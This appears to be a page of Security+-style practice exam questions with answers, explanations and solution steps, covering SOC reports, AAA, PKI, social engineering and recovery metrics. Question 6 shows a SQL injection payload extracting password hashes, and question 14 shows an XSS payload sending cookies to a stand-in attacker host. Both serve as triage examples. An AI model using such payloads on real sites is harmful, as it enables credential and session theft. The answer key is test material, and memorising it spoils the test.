Examkin

Tüm alıştırma soruları

1151 soru

Tüm türler2,232Çoktan seçmeli1,151Çoklu seçim509Sayısal21Eşleştirme378Sıralama173
Soru 1Soru →

An enterprise security assessment reveals that unprivileged workforce endpoints allow employees to connect unauthorized USB flash drives and execute untrusted software binaries directly from external media. Which of the following host-hardening strategies provides the MOST effective technical control to enforce peripheral hardware restrictions and prevent unauthorized program execution?

Cevabı ve açıklamayı göster

Cevap: Implement centralized administrative device installation policies paired with endpoint application block rules targeting removable drive locations.

Cevap

Implementing centralized administrative device installation policies paired with endpoint application block rules targeting removable drive locations.
The correct answer combines endpoint peripheral control policies with host-based application execution restrictions. Configuring host administrative policies to block USB mass storage class GUIDs prevents the operating system from loading drivers for unauthorized hardware. Additionally, enforcing application control policies prevents execution of binaries from removable drives, mitigating both the physical device risk and the code execution threat.

Adım Adım Çözüm

1
Analyze the threat scenario described in the audit finding.
Identified two distinct attack vectors: unauthorized physical hardware mounting (USB mass storage) and local untrusted binary execution.
Effective enterprise hardening requires mitigations operating at the host OS layer where the hardware interfaces and execution calls take place.
2
Evaluate technical mitigation controls matching the identified threat vectors.
Endpoint management policies (such as Group Policy or MDM device control) restrict driver installation for removable storage device classes, and host application control rules prohibit executing binaries residing on external paths.
Combining peripheral control with execution control addresses both physical connection risks and file execution risks on the host.
3
Differentiate preventive host hardening controls from perimeter network defenses and detection technologies.
Network firewalls, VPNs, and honeypots do not prevent local file execution or local hardware mounting on isolated host OS subsystems.
Defenses must align with the specific layer of vulnerability; host security controls are required for local storage and execution threats.

Anahtar Kavram

Endpoint Device Control and Application Hardening
Soru 2Soru →

A enterprise healthcare technology organization is preparing for a mandatory annual compliance review by an independent external auditing firm. The compliance officer must supply an independent attestation document that proves internal data security controls over sensitive electronic protected health information (ePHI) were not only appropriately designed and implemented, but also maintained and operated effectively over a continuous 12-month evaluation window. Which of the following audit reports or attestations fulfills both the time-horizon and operational testing criteria required by the auditors?

Cevabı ve açıklamayı göster

Cevap: A SOC 2 Type II report assessing security and confidentiality trust services criteria

Cevap

A SOC 2 Type II report assessing security and confidentiality trust services criteria is the required attestation because it evaluates both control design suitability and operational effectiveness over a specified testing window (e.g., 12 months).
The option specifying a SOC 2 Type II report is correct because Service Organization Control (SOC) 2 Type II reports evaluate both the design suitability and the operational effectiveness of security controls over an extended testing period (typically 6 to 12 months). This directly satisfies the requirement for proof of continuous control operation across a 12-month window.

Adım Adım Çözüm

1
Analyze the audit requirements in the scenario.
Identified two key requirements: (1) verification of control design suitability, and (2) proof of operational effectiveness over a continuous 12-month evaluation window.
Determining the scope (point-in-time vs. evaluation period) and depth (detailed testing vs. public summary) is critical for selecting the correct attestation type.
2
Evaluate the distinction between Type I and Type II attestation reports.
Type I reports cover design suitability at a single point in time. Type II reports assess operating effectiveness over a defined evaluation period.
The scenario explicitly specifies a continuous 12-month evaluation window, eliminating point-in-time assessments.
3
Evaluate the distinction between SOC 2, SOC 3, and technical testing reports.
SOC 2 provides the detailed independent auditor evidence required for compliance oversight, whereas SOC 3 is a general public summary and penetration tests are point-in-time technical evaluations.
Only a SOC 2 Type II report meets all conditions of detailed operational testing over a multi-month period.

Anahtar Kavram

Distinction between SOC report types (SOC 1 vs SOC 2 vs SOC 3) and report coverage (Type I point-in-time vs Type II operational period effectiveness).
Tahmini Süre:2m 0s
Soru 3Soru →

An organization requires department managers to perform quarterly user access reviews by manually evaluating account permissions and verifying that assigned rights match current job responsibilities. Which of the following best classifies both the security control category and functional type of this process?

Cevabı ve açıklamayı göster

Cevap: Operational category and Detective functional type

Cevap

Operational category and Detective functional type
The correct answer is 'Operational category and Detective functional type'. Under the CompTIA Security+ framework, Operational controls refer to security measures implemented and executed by people through daily procedures and administrative operations. Periodic user access certification conducted by department managers is an operational process. Functionally, reviewing account rights identifies unauthorized permissions or privilege accumulation (privilege creep) that has already occurred, making it a Detective control.

Adım Adım Çözüm

1
Determine the security control category
Operational control category
Control categories in CompTIA Security+ SY0-701 are divided into Technical, Managerial, Operational, and Physical. Routine day-to-day security procedures executed by human staff and managers—such as manual log reviews or quarterly user permission audits—fall under the Operational category.
2
Determine the functional type of the control
Detective functional type
Functional types define the operational goal of the control (Preventive, Detective, Corrective, Deterrent, Compensating, Directive). Auditing existing user rights allows organizations to uncover privilege creep or non-compliant permissions after they have been granted, fulfilling a Detective function.
3
Combine category and functional type to identify the correct classification
Operational category and Detective functional type
Combining the category determined in Step 1 with the functional type determined in Step 2 yields Operational category and Detective functional type.

Anahtar Kavram

Security Control Categories and Functional Types
Tahmini Süre:1m 15s
Soru 4Soru →

A network security monitoring sensor flags an alert for anomalous outbound traffic generated by an internal host. The NIDS sensor recorded the following event log details:

Timestamp: 2026-07-27T10:42:19Z
Source IP: 10.4.12.105
Destination IP: 198.51.100.89
Destination Port: 8443/TCP
Configured Inspection Rule: Expect HTTPS / TLS Application Protocol
Observed Banner Payload: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1

Which of the following is the most accurate analysis of this network alert?

Cevabı ve açıklamayı göster

Cevap: Protocol encapsulation mismatch indicating an attempt to tunnel SSH traffic over a non-standard port to evade network egress filtering.

Cevap

Protocol encapsulation mismatch indicating an attempt to tunnel SSH traffic over a non-standard port to evade network egress filtering.
The correct analysis recognizes that the NIDS sensor flagged a protocol mismatch where an SSH handshake banner ('SSH-2.0-OpenSSH...') was transmitted over port 8443, a port expected to carry TLS-encapsulated HTTPS traffic. Encapsulating non-HTTP protocols over standard or non-standard SSL/TLS ports is a common technique used to tunnel restricted traffic through network firewalls.

Adım Adım Çözüm

1
Analyze the NIDS log fields
Identified that port 8443/TCP was configured to expect TLS/HTTPS traffic, but the observed payload contained the SSH protocol banner 'SSH-2.0-OpenSSH_8.9p1'.
Security monitoring sensors compare expected protocol behavior against inspected packet headers and payload signatures.
2
Determine the attack technique or operational anomaly
Recognized protocol tunneling/encapsulation used for perimeter control evasion.
Attackers or rogue internal hosts often run SSH servers over common HTTPS ports (such as 443 or 8443) to tunnel unauthorized traffic past firewall egress rules.
3
Differentiate correct root cause from distractor controls and attack types
Confirmed that the alert indicates protocol evasion, not SQL injection, WAF misclassification, or honeypot issues.
Deep packet inspection reveals application-layer protocol mismatches regardless of the destination port number used.

Anahtar Kavram

Network Security Monitoring and Protocol Analysis
Soru 5Soru →

A enterprise compliance team is conducting a vendor risk evaluation for a critical cloud-hosted database service. The vendor presents a security document confirming that their security control design was evaluated and validated as of a specific date last month, but it contains no testing results regarding control performance over time. The enterprise requires formal verification that controls operated effectively over a minimum six-month observation window. Which assessment deliverable should the compliance team request from the vendor?

Cevabı ve açıklamayı göster

Cevap: A SOC 2 Type II report

Cevap

The enterprise compliance team should request a SOC 2 Type II report.
A SOC 2 Type II report is specifically designed to audit both the design and operational effectiveness of security controls across an extended period, typically between 6 and 12 months. This satisfies the requirement to prove controls operated consistently over time.

Adım Adım Çözüm

1
Analyze the compliance requirement
The organization requires proof of operational effectiveness over a historical period of at least six months.
Point-in-time assessments do not prove that security controls functioned continuously without failure over time.
2
Evaluate the difference between SOC report types
SOC 2 Type I covers control design at a single point in time, while SOC 2 Type II assesses control design and tests operational effectiveness over a defined time window.
Auditing operational effectiveness requires auditors to sample evidence across a declared testing timeframe.
3
Select the appropriate attestation deliverable
The SOC 2 Type II report fulfills the enterprise's vendor risk requirement.
It provides independent third-party verification of control operation throughout the required multi-month period.

Anahtar Kavram

Distinction between SOC 2 Type I (point-in-time design) and SOC 2 Type II (historical period operational effectiveness) security attestations.
Soru 6Soru →

A Security Operations Center (SOC) analyst is reviewing an alert triggered by a perimeter Network Intrusion Detection System (NIDS). The NIDS captured the following HTTP request payload targeting an internal customer portal:

GET /catalog.php?item=42%20UNION%20SELECT%20username,password_hash%20FROM%20user_credentials-- HTTP/1.1
Host: portal.company.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

Based on this network security monitoring alert, which of the following is the most accurate assessment of the threat and the appropriate immediate analyst action?

Cevabı ve açıklamayı göster

Cevap: The log indicates a SQL injection attempt aiming to extract database content; the analyst should check Web Application Firewall (WAF) and SIEM logs to verify if the server responded with successful data execution.

Cevap

The alert represents a SQL injection attempt targeting database records, requiring the analyst to correlate SIEM web server logs and HTTP response status codes to assess impact.
The payload contains URL-encoded SQL commands (`UNION SELECT`), which signifies a SQL injection attempt targeting the backend database. In network security monitoring, receiving a NIDS alert for an inbound payload requires verifying downstream web server and database logs in the SIEM to check whether the application processed the request successfully.

Adım Adım Çözüm

1
Analyze the captured NIDS payload snippet
Identified URL-encoded SQL commands ('UNION SELECT username,password_hash FROM user_credentials--').
Recognizing database syntax within HTTP parameter inputs isolates the threat vector as SQL injection.
2
Determine the scope and target of the attack
The attack targets backend database content via an unformatted web request parameter.
Distinguishing database queries from client-side script payloads ensures proper incident classification.
3
Select the appropriate network monitoring triage step
Query SIEM and web application logs for corresponding HTTP status codes (e.g., 200 OK vs 500 Internal Error) and response payload size.
NIDS alerts indicate detection of request payloads; verifying response logs determines whether the vulnerability was successfully exploited.

Anahtar Kavram

NIDS Log Payload Analysis and Attack Triage
Soru 7Soru →

An enterprise network security team deploys a centralized RADIUS architecture to manage access to infrastructure devices. During a post-implementation audit, a security analyst notes the following behavior: when network administrators log in, the system successfully validates their multi-factor credentials. However, upon login, all authenticated administrators are granted identical, unrestricted administrative permissions across all switches and firewalls, regardless of their specific role or group membership in the directory service. Meanwhile, session start/end timestamps and data transfer metrics are accurately recorded in central logs. Which component of the AAA framework failed to be properly configured to restrict administrative privileges?

Cevabı ve açıklamayı göster

Cevap: Authorization controls enforcing role-based access limits

Cevap

Authorization controls enforcing role-based access limits
Authorization is the AAA pillar responsible for granting or denying access rights and privileges to resources once an identity is verified. In this scenario, credentials are confirmed (Authentication) and sessions are logged (Accounting), but permissions are unconstrained due to missing or misconfigured role-based authorization controls.

Adım Adım Çözüm

1
Analyze the AAA functions described in the enterprise scenario
Identity verification via multi-factor credentials succeeds (Authentication is functional). Session tracking and log metrics are recorded (Accounting is functional).
Differentiating between identity verification, permission granting, and logging is required to isolate the failure.
2
Identify the misconfiguration in permission assignment
All authenticated identities receive universal full access without evaluating specific user roles or directory attributes.
Determining permissions and enforcing principle of least privilege is the explicit responsibility of the Authorization pillar.
3
Select the missing or misconfigured AAA pillar
Authorization controls failed to enforce role-based access boundaries.
Without proper authorization policies (such as RADIUS VSAs or TACACS+ command authorization rules), authentication alone results in over-privileged access.

Anahtar Kavram

Role-based Authorization within AAA Framework
Soru 8Soru →

A network engineer notices that users connecting to the enterprise Wi-Fi are successfully validating their domain credentials against a centralized RADIUS server. However, after successful login, all users—including system administrators—are placed into a restricted guest VLAN instead of being assigned their appropriate department VLANs. Which aspect of the AAA framework is failing to execute correctly in this scenario?

Cevabı ve açıklamayı göster

Cevap: Assigning dynamic network access rights and group privileges upon successful identification

Cevap

Assigning dynamic network access rights and group privileges upon successful identification
The scenario describes a successful authentication phase where the RADIUS server validates credentials. However, the system fails during the authorization phase because it does not apply role-based access rules or assign the correct network attributes (such as VLAN IDs) based on user permissions.

Adım Adım Çözüm

1
Analyze the AAA phase results in the scenario.
Domain credential validation against RADIUS succeeded, confirming authentication is working.
Authentication verifies identity, which occurred without error.
2
Identify the point of failure after login.
Users are incorrectly assigned to a restricted guest VLAN regardless of their group roles.
Determining what resources or network segments a user can access post-login is authorization.
3
Match the failed function to the correct AAA component.
The failure to grant appropriate VLAN permissions is an authorization failure.
Authorization enforces access rights based on identity and policy.

Anahtar Kavram

Distinction between Authentication (verifying identity) and Authorization (granting permissions/access)
Soru 9Soru →

An automated algorithmic trading platform logs high-frequency order requests to an external compliance vault. Following a significant financial anomaly, a senior trader asserts that a series of unauthorized trades attributed to their user account were forged by a malicious internal microservice rather than initiated from their terminal. To resolve the dispute, the security audit team must provide irrefutable proof of the trader's authorship as well as guarantee that the order data was not tampered with after creation. Which of the following security mechanisms best fulfills these requirements?

Cevabı ve açıklamayı göster

Cevap: Digital signatures generated using the trader's asymmetric private key paired with a public key infrastructure timestamping service

Cevap

Digital signatures generated using the trader's asymmetric private key paired with a public key infrastructure timestamping service
Digital signatures fulfill non-repudiation because they rely on asymmetric cryptography. Only the owner possesses the private key used to sign the transaction payload, creating a unique cryptographic proof of origin. Recipients verify signature validity using the sender's public key. Timestamping further ensures proof of existence at a specific time, preventing the trader from denying trade initiation.

Adım Adım Çözüm

1
Analyze the operational security requirement in the compliance scenario
Identified the requirement for non-repudiation (proving authorship so the sender cannot deny originating the transaction) and integrity (ensuring the payload was not altered post-submission).
The trader claims an internal service forged their order, requiring cryptographic evidence that uniquely ties transaction creation to the trader.
2
Evaluate candidate cryptographic controls against non-repudiation principles
Asymmetric digital signatures uniquely bind the transaction payload to the private key owner, which cannot be forged by other services possessing only public keys or shared secrets.
Symmetric encryption and plain cryptographic hashes rely on shared keys or public hash functions, allowing any component with key access to build valid signatures and failing proof-of-origin tests.
3
Select the control combination providing both integrity and non-repudiation
Digital signatures with PKI timestamping satisfy both requirements.
The asymmetric private key guarantees non-repudiation of origin while hash-based digital signing guarantees message integrity.

Anahtar Kavram

Non-Repudiation vs Integrity in Asymmetric Cryptography
Soru 10Soru →

A network administrator configures a centralized syslog server to record user login timestamps, executed command histories, and session resource usage for auditing compliance. Which core component of the AAA framework is being implemented?

Cevabı ve açıklamayı göster

Cevap: Accounting

Cevap

Accounting
Accounting is responsible for tracking user actions, monitoring session durations, and maintaining log entries of system resource consumption. This data provides accountability and essential records for security auditing.

Adım Adım Çözüm

1
Identify the primary operational activity described in the scenario
The activity involves capturing timestamps, command histories, and system resource usage into log files.
Determining the functional goal (logging activity vs granting access vs checking credentials) isolates the correct AAA pillar.
2
Map the identified activity to the AAA framework pillars
Tracking usage data and generating audit logs directly corresponds to Accounting.
Accounting measures resource usage and collects audit information for billing, capacity planning, and security investigations.

Anahtar Kavram

Authentication, Authorization, and Accounting (AAA)
Soru 11Soru →

A security analyst is investigating an incident where an attacker compromised a low-privileged service account's API key. The API gateway successfully verified the key's digital signature and validated the identity of the service account. However, due to a missing role-mapping rule on the API gateway, the request was granted access to an internal database management endpoint intended exclusively for domain administrators. Additionally, because the gateway was configured to log only initial connection handshakes rather than detailed endpoint requests, security teams cannot determine which database commands were executed. Which of the following correctly identifies the AAA pillar that failed to restrict endpoint access, and the AAA pillar whose configuration deficiency prevents auditing the executed actions?

Cevabı ve açıklamayı göster

Cevap: Authorization failed to enforce role-based access restrictions, while Accounting failed to record endpoint transaction logs.

Cevap

Authorization failed to enforce role-based access restrictions, while Accounting failed to record endpoint transaction logs.
The correct answer accurately separates the duties of the AAA framework. Authentication succeeded because the service account's API key signature was validated. Authorization failed because the gateway did not evaluate role boundaries or ACLs before granting access to the administrator endpoint. Accounting failed because the logging configuration captured only connection handshakes instead of granular transaction logs, preventing post-incident forensic analysis.

Adım Adım Çözüm

1
Analyze the credential verification phase to evaluate Authentication.
The API gateway verified the digital signature and confirmed the service account identity. Authentication functioned correctly.
Authentication is strictly responsible for verifying identity claims using credentials, certificates, or tokens.
2
Analyze the endpoint access decision phase to evaluate Authorization.
Missing role-mapping rules allowed a low-privileged account to reach an admin endpoint. Authorization failed.
Authorization determines access rights, privileges, and resource permissions once identity is established.
3
Analyze the event tracking and auditing phase to evaluate Accounting.
Failure to log specific API endpoints and commands leaves no audit trail. Accounting failed.
Accounting logs subject activity, tracking resource consumption, commands executed, and session details for non-repudiation and analysis.

Anahtar Kavram

Distinct roles of Authentication (identity verification), Authorization (permission enforcement), and Accounting (activity logging and auditing) in AAA security architecture.
Soru 12Soru →

A security operations team is deploying internal code-signing certificates generated through an enterprise two-tier PKI consisting of an offline root Certificate Authority (CA) and an online intermediate issuing CA. Developers submit Certificate Signing Requests (CSRs) for binary signing. During testing on isolated target systems that already have the offline root CA certificate installed in their trusted root store, verification fails because the operating system cannot build the certification path to validate the signature. Further inspection reveals that the intermediate CA certificate was neither bundled with the signature nor pre-installed on the target machines. Which of the following is the most appropriate action to resolve this certificate chain validation failure?

Cevabı ve açıklamayı göster

Cevap: Configure the AIA (Authority Information Access) extension in issued certificates to provide a reachable URI for the intermediate CA certificate.

Cevap

Configure the AIA (Authority Information Access) extension in issued certificates to provide a reachable URI for the intermediate CA certificate.
Configuring the AIA (Authority Information Access) extension allows validating client software to fetch the missing intermediate CA certificate via HTTP or LDAP during path building. This enables the client to successfully construct and verify the full certificate chain from the end-entity code-signing certificate up to the offline root CA.

Adım Adım Çözüm

1
Identify the cause of the trust chain validation failure.
Client systems have the offline root CA trusted, but cannot build the validation path because the intermediate CA certificate is missing.
PKI certificate validation requires a complete chain of trust from the end-entity certificate up through all intermediate CAs to an installed root CA.
2
Evaluate standard PKI mechanisms for resolving missing intermediate certificates.
The Authority Information Access (AIA) extension specifies pointers (URIs) where clients can dynamically retrieve intermediate CA certificates during path building.
Including the AIA extension enables automated certificate discovery and path construction without manual distribution of intermediate certificates to all endpoints.
3
Select the proper administrative resolution.
Configuring the AIA extension ensures clients can fetch the intermediate certificate and complete path building successfully.
This maintains the multi-tier hierarchy and offline status of the root CA while ensuring seamless signature validation.

Anahtar Kavram

Public Key Infrastructure (PKI) Certificate Chain Building and Authority Information Access (AIA)
Tahmini Süre:2m 0s
Soru 13Soru →

An executive assistant receives a tailored email that appears to come directly from the company's Chief Executive Officer (CEO). The message insists on an urgent, confidential wire transfer to secure an enterprise acquisition before the end of the business day. Which of the following social engineering attack vectors best describes this incident?

Cevabı ve açıklamayı göster

Cevap: Whaling

Cevap

Whaling
Whaling is a specialized subset of phishing that specifically targets or impersonates high-ranking corporate executives (such as CEOs or CFOs) to conduct high-value financial transactions or gain access to sensitive corporate data.

Adım Adım Çözüm

1
Identify the communication medium and target profile in the scenario.
The attack uses email to impersonate an executive leadership role (CEO) targeting high-value financial fraud.
Determining the medium (email) and the high-profile context narrows down the specific social engineering variant.
2
Map the scenario attributes to social engineering attack definitions.
Email spoofing that specifically impersonates top-level executives for high-stakes fraud matches the definition of whaling.
Whaling is distinguished from generic phishing by its focus on senior executive targets or senior executive impersonation.

Anahtar Kavram

Whaling Social Engineering Vector
Soru 14Soru →

A security analyst reviews a high-severity alert generated by a Network Intrusion Detection System (NIDS) monitoring enterprise perimeter web traffic. The SIEM correlation rule triggered on the following HTTP payload excerpt:

`GET /products/search?user_input=<script>window.location='http://malicious-exfil.com/collector?cookie='+document.cookie</script> HTTP/1.1`

The analyst logs the incident as a successful SQL injection attack attempting to query sensitive database tables. Which of the following best explains why the analyst's interpretation of this network alert is incorrect?

Cevabı ve açıklamayı göster

Cevap: The payload represents a Cross-Site Scripting (XSS) attack vector attempting client-side script execution to steal cookies, rather than a database query manipulation attack.

Cevap

The analyst's interpretation is incorrect because the payload contains client-side JavaScript (`<script>` tags exfiltrating `document.cookie`), which indicates Cross-Site Scripting (XSS), not SQL injection.
The correct answer identifies that the payload in the NIDS alert uses JavaScript script tags (`<script>`) and browser object references (`document.cookie`) to exfiltrate session data to an external site. This is the hallmark signature of a Cross-Site Scripting (XSS) attack. SQL injection attacks involve inserting SQL statements (such as `SELECT`, `UNION`, or `DROP`) to manipulate database backend processing.

Adım Adım Çözüm

1
Examine the payload signature from the NIDS network event log.
The parameter value contains `<script>window.location='http://malicious-exfil.com/collector?cookie='+document.cookie</script>`.
Analyzing the raw string payload reveals the functional syntax of the attempted exploit.
2
Differentiate between web application attack signatures.
JavaScript execution syntax (`<script>`) targeted at browser DOM objects (`document.cookie`) corresponds to Cross-Site Scripting (XSS). SQL injection payloads utilize database query syntax such as `' OR '1'='1` or `UNION SELECT`.
Accurate alert classification requires matching observed payload syntax to the corresponding threat category.
3
Select the option that correctly identifies the misinterpretation.
The option stating that the payload represents Cross-Site Scripting rather than SQL injection accurately corrects the analyst's diagnosis.
This directly addresses the root cause of the misclassified network security monitoring alert.

Anahtar Kavram

Web Application Attack Log Interpretation in Network Security Monitoring
Soru 15Soru →

A multinational retail enterprise headquartered in Texas processes online orders for customers residing across the European Union. During an operational risk assessment, the chief information security officer observes that customer transaction logs—which include payment details, IP addresses, and email addresses—are continuously replicated to a centralized data warehouse in Dallas. The IT infrastructure team asserts that encrypting the database at rest using AES-256 satisfies all legal security duties. However, the legal compliance team insists this control is insufficient for international data flows. Which of the following best describes the organization's legal compliance obligation regarding these data transfers?

Cevabı ve açıklamayı göster

Cevap: The organization must implement an approved cross-border data transfer mechanism, such as Standard Contractual Clauses or an adequacy decision framework, because technical encryption alone does not fulfill statutory data privacy requirements for legal data transfers.

Cevap

The organization must establish an approved cross-border data transfer legal mechanism (such as Standard Contractual Clauses or an adequacy framework) because technical security measures such as encryption at rest do not satisfy statutory privacy rules governing international data movements.
Technical security controls like AES-256 encryption address data security (protecting confidentiality), but do not fulfill legal data privacy requirements regarding international data sovereignty. Frameworks like the EU GDPR mandate that transferring personal data (including IP addresses and contact details) outside the native legal jurisdiction requires a valid legal transfer framework, such as Standard Contractual Clauses (SCCs) or an adequacy framework.

Adım Adım Çözüm

1
Analyze the nature of the data being processed and transferred.
Transaction logs containing IP addresses and email addresses constitute Personally Identifiable Information (PII) under privacy regulations such as GDPR.
Regulatory scope depends on the classification of the data being collected and moved internationally.
2
Differentiate between technical security safeguards and legal transfer mechanisms.
AES-256 encryption fulfills data confidentiality and security mandates, but does not provide lawful authorization for cross-border data transfer under privacy laws.
Security controls and legal compliance requirements operate at distinct regulatory layers.
3
Determine the necessary regulatory compliance instrument.
An authorized mechanism (such as Standard Contractual Clauses or an recognized adequacy framework) must be established to legitimize transfers outside the native jurisdiction.
Statutory privacy frameworks require legal safeguards to maintain privacy protections regardless of server location.

Anahtar Kavram

Cross-Border Data Transfer Legal Mechanisms vs. Technical Security Controls
Tahmini Süre:2m 0s
Soru 16Soru →

An attacker leaves several USB flash drives labeled "Executive Compensation Q3" on tables in an enterprise cafeteria, relying on curious employees to pick one up and plug it into a corporate workstation. Which social engineering attack vector is being demonstrated in this scenario?

Cevabı ve açıklamayı göster

Cevap: Baiting

Cevap

Baiting is the correct social engineering attack vector.
Baiting is a social engineering attack where an attacker leaves malware-infected physical media, such as USB flash drives, in locations where targets are likely to find them. The enticing label appeals to curiosity, convincing victims to plug the media into their systems.

Adım Adım Çözüm

1
Analyze the attack mechanism described in the scenario
The attacker relies on enticing curiosity by placing physical media (USB drives with intriguing labels) in a public employee space.
Identifying the medium (physical USB drive) and psychological trigger (curiosity/greed) narrows down the social engineering vector.
2
Map the mechanism to the correct social engineering classification
Leaving infected physical media to entice victims to connect it to a network is defined as baiting.
Baiting differs from remote electronic vector attacks (such as spear phishing) or physical access attacks (such as tailgating).

Anahtar Kavram

Baiting Attack Vector
Soru 17Soru →

An enterprise finance company is onboarding a cloud payroll vendor and requires third-party assurance specifically regarding the vendor's internal controls over financial reporting. Which of the following reports should the enterprise request from the vendor?

Cevabı ve açıklamayı göster

Cevap: SOC 1 report

Cevap

The SOC 1 report is the correct choice because it evaluates internal controls over financial reporting.
A SOC 1 (System and Organization Controls 1) report is specifically designed to audit and attest to a service organization's internal controls relevant to user entities' internal controls over financial reporting (ICFR).

Adım Adım Çözüm

1
Identify the primary compliance requirement stated in the scenario.
The requirement is assurance over internal controls relevant to financial reporting (ICFR).
Matching the organization's business requirement to the standard attestation framework.
2
Evaluate the scope of SOC report types.
SOC 1 addresses financial controls, whereas SOC 2 and SOC 3 address IT security and trust criteria.
Differentiating financial reporting audit standards from general operational security audit standards.

Anahtar Kavram

SOC 1 Attestation for Internal Controls Over Financial Reporting
Soru 18Soru →

During a business continuity strategy assessment, a hospital's IT security officer reviews the Business Impact Analysis (BIA) for the Electronic Health Record (EHR) system. The business impact analysis defines a Maximum Tolerable Downtime (MTD) of 12 hours12\text{ hours}. Technical server restoration and database mounting are calculated to have a Recovery Time Objective (RTO) of 8 hours8\text{ hours}. However, post-restoration operational steps—including data integrity validation, paper chart reconciliation, and system synchronization—require a Work Recovery Time (WRT) of 5 hours5\text{ hours}. Which of the following operational conclusions should the security officer draw regarding the current disaster recovery plan?

Cevabı ve açıklamayı göster

Cevap: The disaster recovery plan is non-compliant because the combined outage and recovery timeframe (13 hours13\text{ hours}) exceeds the Maximum Tolerable Downtime (12 hours12\text{ hours}).

Cevap

The disaster recovery plan is non-compliant because the combined outage and recovery timeframe (13 hours13\text{ hours}) exceeds the Maximum Tolerable Downtime (12 hours12\text{ hours}).
In Business Impact Analysis (BIA) and Business Continuity Management (BCM), Maximum Tolerable Downtime (MTD) defines the total permissible disruption period. Total operational recovery includes both technical system restoration (RTO) and operational business verification/reconciliation (WRT). Because RTO+WRT=8+5=13 hours\text{RTO} + \text{WRT} = 8 + 5 = 13\text{ hours}, the total recovery period exceeds the 12 hour12\text{ hour} MTD, rendering the continuity plan non-compliant.

Adım Adım Çözüm

1
Identify the key BIA metrics given in the scenario
MTD=12 hours\text{MTD} = 12\text{ hours}, RTO=8 hours\text{RTO} = 8\text{ hours}, and WRT=5 hours\text{WRT} = 5\text{ hours}.
Establishing the target threshold and component recovery durations is necessary to evaluate business continuity viability.
2
Calculate total operational outage duration
Total Outage Duration=RTO+WRT=8 hours+5 hours=13 hours\text{Total Outage Duration} = \text{RTO} + \text{WRT} = 8\text{ hours} + 5\text{ hours} = 13\text{ hours}.
System restoration is not complete when servers boot (RTO); full business operation requires data verification and reconciliation (WRT).
3
Compare total disruption time against Maximum Tolerable Downtime
13 hours>12 hours13\text{ hours} > 12\text{ hours}, indicating the business continuity plan fails to meet the required MTD constraint.
Any recovery timeframe where RTO+WRT>MTD\text{RTO} + \text{WRT} > \text{MTD} places the enterprise at unacceptable operational risk.

Anahtar Kavram

Work Recovery Time (WRT) and Recovery Time Objective (RTO) relationship to Maximum Tolerable Downtime (MTD)
Soru 19Soru →

An organization is conducting a Business Impact Analysis (BIA) and needs to define the maximum acceptable amount of time that a mission-critical system can remain offline following an outage. Which of the following business continuity metrics represents this duration?

Cevabı ve açıklamayı göster

Cevap: Recovery Time Objective (RTO)

Cevap

Recovery Time Objective (RTO)
The Recovery Time Objective (RTO) represents the maximum targeted duration of time system operations can be down after a disaster before causing critical disruption to business operations.

Adım Adım Çözüm

1
Identify the key requirement in the scenario.
The scenario asks for the metric that defines maximum acceptable system downtime duration following an outage.
Understanding the metric's core focus is necessary to select the correct BIA metric.
2
Differentiate between time-based operational continuity metrics.
Recovery Time Objective (RTO) directly measures allowable restoration time, whereas Recovery Point Objective (RPO) measures allowable data loss.
RTO focuses strictly on system availability and recovery duration.

Anahtar Kavram

Recovery Time Objective (RTO) vs Recovery Point Objective (RPO)
Tahmini Süre:45s
Soru 20Soru →

A logistics enterprise is updating its business continuity management plan for its central warehouse execution system. A Business Impact Analysis (BIA) determines that data loss exceeding 15 minutes will cause unrecoverable state desynchronization across automated sorting units, while the system can remain completely offline for up to 6 hours before contract penalties take effect. The infrastructure team proposes a disaster recovery architecture utilizing asynchronous backup replication every 4 hours and an automated failover process that restores application availability within 2 hours. Which of the following statements correctly evaluates the proposed disaster recovery plan against the organization's business metrics?

Cevabı ve açıklamayı göster

Cevap: The proposed architecture fails to meet the Recovery Point Objective (RPO) because 4-hour replication permits up to 4 hours of data loss, exceeding the 15-minute threshold.

Cevap

The proposed architecture fails to meet the Recovery Point Objective (RPO) because 4-hour replication permits up to 4 hours of data loss, exceeding the 15-minute threshold.
The correct answer identifies that the 15-minute maximum tolerable data loss parameter represents the organization's Recovery Point Objective (RPO). Performing asynchronous backups every 4 hours leaves up to a 4-hour window of lost transactions during a crash, directly breaching the 15-minute RPO requirement.

Adım Adım Çözüm

1
Identify the key metrics defined by the Business Impact Analysis (BIA)
The maximum allowable data loss timeframe is 15 minutes, which establishes the Recovery Point Objective (RPO) = 15 minutes. The maximum acceptable system offline duration is 6 hours, establishing the Recovery Time Objective (RTO) / Maximum Tolerable Downtime (MTD) = 6 hours.
BIA metrics separate acceptable data loss (RPO) from acceptable system downtime (RTO).
2
Analyze the proposed disaster recovery architecture parameters
Replication interval = 4 hours (potential data loss up to 4 hours). Restoration time = 2 hours (system offline time of 2 hours).
Replication frequency defines the actual data loss window, whereas failover restoration time defines the actual downtime.
3
Compare actual recovery parameters against required business metrics
The 2-hour restoration time meets the 6-hour RTO target (2 hours≤6 hours2 \text{ hours} \le 6 \text{ hours}). However, the 4-hour replication interval violates the 15-minute RPO requirement (4 hours>15 minutes4 \text{ hours} > 15 \text{ minutes}).
A valid continuity plan must satisfy both RTO and RPO requirements simultaneously.

Anahtar Kavram

Distinction between Recovery Point Objective (RPO) and Recovery Time Objective (RTO) in Business Impact Analysis
Sayfa 1 / 58Sonraki